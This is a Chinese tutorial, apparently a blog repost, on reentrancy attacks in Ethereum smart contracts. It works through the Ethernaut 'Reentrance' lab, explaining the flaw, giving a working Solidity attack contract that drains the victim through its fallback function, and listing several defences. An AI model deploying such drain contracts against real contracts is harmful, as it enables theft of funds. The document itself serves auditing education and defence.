当前位置:   article > 正文

智能合约审计之重入攻击

智能合约审计之重入攻击

文章前言

以太坊智能合约中的函数通过private、internal、public、external等修饰词来限定合约内函数的作用域(内部调用或外部调用),而我们将要介绍的重入漏洞就存在于合约之间的交互过程,常见的合约之间的交互其实也是很多的,例如:向未知逻辑的合约发送Ether,调用外部合约中的函数等,在以上交互过程看似没有什么问题,但潜在的风险点就是外部合约可以接管控制流从而可以实现对合约中不期望的数据进行修改,迫使其执行一些非预期的操作等。

案例分析

这里以Ethernaut闯关游戏中的一个重入案例为例作为演示说明:

闯关要求

盗取合约中的所有代币

合约代码

  1. pragma solidity ^0.4.18;
  2. import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
  3. contract Reentrance {
  4. using SafeMath for uint256;
  5. mapping(address => uint) public balances;
  6. function donate(address _to) public payable {
  7. balances[_to] = balances[_to].add(msg.value);
  8. }
  9. function balanceOf(address _who) public view returns (uint balance) {
  10. return balances[_who];
  11. }
  12. function withdraw(uint _amount) public {
  13. if(balances[msg.sender] >= _amount) {
  14. if(msg.sender.call.value(_amount)()) {
  15. _amount;
  16. }
  17. balances[msg.sender] -= _amount;
  18. }
  19. }
  20. function() public payable {}
  21. }

合约分析

在这里我们重点来看withdraw函数,我们可以看到它接收了一个_amount参数,将其与发送者的balance进行比较,不超过发送者的balance就将这些_amount发送给sender,同时我们注意到这里它用来发送ether的函数是call.value,发送完成后,它才在下面更新了sender的balances,这里就是可重入攻击的关键所在了,因为该函数在发送ether后才更新余额,所以我们可以想办法让它卡在call.value这里不断给我们发送ether,同样利用的是我们熟悉的fallback函数来实现。

当然,这里还有另外一个关键的地方——call.value函数特性,当我们使用call.value()来调用代码时,执行的代码会被赋予账户所有可用的gas,这样就能保证我们的fallback函数能被顺利执行,对应的,如果我们使用transfer和send函数来发送时,代码可用的gas仅有2300而已,这点gas可能仅仅只够捕获一个event,所以也将无法进行可重入攻击,因为send本来就是transfer的底层实现,所以他两性质也差不多。

根据上面的简易分析,我们可以编写一下EXP代码:

  1. pragma solidity ^0.4.18;
  2. contract Reentrance {
  3. mapping(address => uint) public balances;
  4. function donate(address _to) public payable {
  5. balances[_to] = balances[_to]+msg.value;
  6. }
  7. function balanceOf(address _who) public view returns (uint balance) {
  8. return balances[_who];
  9. }
  10. function withdraw(uint _amount) public {
  11. if(balances[msg.sender] >= _amount) {
  12. if(msg.sender.call.value(_amount)()) {
  13. _amount;
  14. }
  15. balances[msg.sender] -= _amount;
  16. }
  17. }
  18. function() public payable {}
  19. }
  20. contract ReentrancePoc {
  21. Reentrance reInstance;
  22. function getEther() public {
  23. msg.sender.transfer(address(this).balance);
  24. }
  25. function ReentrancePoc(address _addr) public{
  26. reInstance = Reentrance(_addr);
  27. }
  28. function callDonate() public payable{
  29. reInstance.donate.value(msg.value)(this);
  30. }
  31. function attack() public {
  32. reInstance.withdraw(1 ether);
  33. }
  34. function() public payable {
  35. if(address(reInstance).balance >= 1 ether){
  36. reInstance.withdraw(1 ether);
  37. }
  38. }
  39. }

攻击流程

点击“Get new Instance”来获取一个实例:

之后获取instance合约的地址

之后在remix中部署攻击合约

我们需要在受攻击的合约里给我们的攻击合约地址增加一些balance以完成withdraw第一步的检查:

contract.donate.sendTransaction("0xeE59e9DC270A52477d414f0613dAfa678Def4b02",{value: toWei(1)})

这样就成功给我们的攻击合约的balance增加了1 ether,这里的sendTransaction跟web3标准下的用法是一样的,这时你再使用getbalance去看合约拥有的eth就会发现变成了2,说明它本来上面存了1个eth,然后我们返回攻击合约运行attack函数就可以完成攻击了:

查看balance,在交易前后的变化:

最后点击“submit instance”来提交示例即可:

防御措施

1、在可能的情况下,将ether发送给外部地址时使用solidity内置的transfer()函数,transfer()转账时只发送2300gas,不足以调用另一份合约(即重入发送合约),使用transfer()重写原合约的withdrawFunds()如下;

  1. function withdraw(uint _amount) public {
  2. if(balances[msg.sender] >= _amount) {
  3. msg.sender.transfer(_amount);
  4. balances[msg.sender] -= _amount;
  5. }
  6. }

2、确保状态变量改变发生在ether被发送(或者任何外部调用)之前,即Solidity官方推荐的检查-生效-交互模式(checks-effects-interactions);

  1. function withdraw(uint _amount) public {
  2. if(balances[msg.sender] >= _amount) {//检查
  3. balances[msg.sender] -= _amount;//生效
  4. msg.sender.transfer(_amount);//交互
  5. }
  6. }

3、使用互斥锁:添加一个在代码执行过程中锁定合约的状态变量,防止重入调用

  1. bool reEntrancyMutex = false;
  2. function withdraw(uint _amount) public {
  3. require(!reEntrancyMutex);
  4. reEntrancyMutex = true;
  5. if(balances[msg.sender] >= _amount) {
  6. if(msg.sender.call.value(_amount)()) {
  7. _amount;
  8. }
  9. balances[msg.sender] -= _amount;
  10. reEntrancyMutex = false;
  11. }
  12. }

4、OpenZeppelin官方库

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol

  1. // SPDX-License-Identifier: MIT
  2. pragma solidity ^0.8.0;
  3. /**
  4. * @dev Contract module that helps prevent reentrant calls to a function.
  5. *
  6. * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
  7. * available, which can be applied to functions to make sure there are no nested
  8. * (reentrant) calls to them.
  9. *
  10. * Note that because there is a single `nonReentrant` guard, functions marked as
  11. * `nonReentrant` may not call one another. This can be worked around by making
  12. * those functions `private`, and then adding `external` `nonReentrant` entry
  13. * points to them.
  14. *
  15. * TIP: If you would like to learn more about reentrancy and alternative ways
  16. * to protect against it, check out our blog post
  17. * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
  18. */
  19. abstract contract ReentrancyGuard {
  20. // Booleans are more expensive than uint256 or any type that takes up a full
  21. // word because each write operation emits an extra SLOAD to first read the
  22. // slot's contents, replace the bits taken up by the boolean, and then write
  23. // back. This is the compiler's defense against contract upgrades and
  24. // pointer aliasing, and it cannot be disabled.
  25. // The values being non-zero value makes deployment a bit more expensive,
  26. // but in exchange the refund on every call to nonReentrant will be lower in
  27. // amount. Since refunds are capped to a percentage of the total
  28. // transaction's gas, it is best to keep them low in cases like this one, to
  29. // increase the likelihood of the full refund coming into effect.
  30. uint256 private constant _NOT_ENTERED = 1;
  31. uint256 private constant _ENTERED = 2;
  32. uint256 private _status;
  33. constructor () {
  34. _status = _NOT_ENTERED;
  35. }
  36. /**
  37. * @dev Prevents a contract from calling itself, directly or indirectly.
  38. * Calling a `nonReentrant` function from another `nonReentrant`
  39. * function is not supported. It is possible to prevent this from happening
  40. * by making the `nonReentrant` function external, and make it call a
  41. * `private` function that does the actual work.
  42. */
  43. modifier nonReentrant() {
  44. // On the first call to nonReentrant, _notEntered will be true
  45. require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
  46. // Any calls to nonReentrant after this point will fail
  47. _status = _ENTERED;
  48. _;
  49. // By storing the original value once again, a refund is triggered (see
  50. // https://eips.ethereum.org/EIPS/eip-2200)
  51. _status = _NOT_ENTERED;
  52. }
  53. }

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/你好赵伟/article/detail/654140
推荐阅读
相关标签
  

闽ICP备14008679号